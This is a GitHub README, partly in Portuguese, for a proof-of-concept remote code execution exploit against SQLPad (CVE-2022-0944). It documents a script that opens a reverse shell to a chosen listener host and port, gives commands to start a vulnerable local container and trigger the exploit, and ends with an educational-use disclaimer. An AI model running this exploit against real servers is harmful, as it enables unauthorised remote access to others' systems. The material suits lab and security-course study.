shhrew/cve-2022-0944A proof of concept exploit for SQLPad RCE (CVE-2022-0944).
Uma prova de conceito de exploit para SQLPad RCE (CVE-2022-0944)
usage: main.py [-h] url lhost lport [username] [password]
positional arguments:
url URL to SQLPad
lhost Listener host address for reverse shell
lport Listener port for reverse shell
username login username (optional)
password login password (optional)
options:
-h, --help show this help message and exit
Exemplo:
# install requirements
pip install -r requirements.txt
# start sqlpad docker container
docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:6.10.0
# trigger exploit
./main.py http://localhost:3000 127.0.0.1 1337 admin admin
Este repositório contém código e ferramentas destinados exclusivamente a fins educacionais, especificamente para uso em cursos de cibersegurança e ambientes de aprendizado. O autor deste código não assume nenhuma responsabilidade por quaisquer consequências decorrentes do uso, uso indevido ou modificação deste código. O código é fornecido "como está", sem qualquer garantia, expressa ou implícita, incluindo, mas não se limitando a, garantias implícitas de comercialização ou adequação a um propósito específico.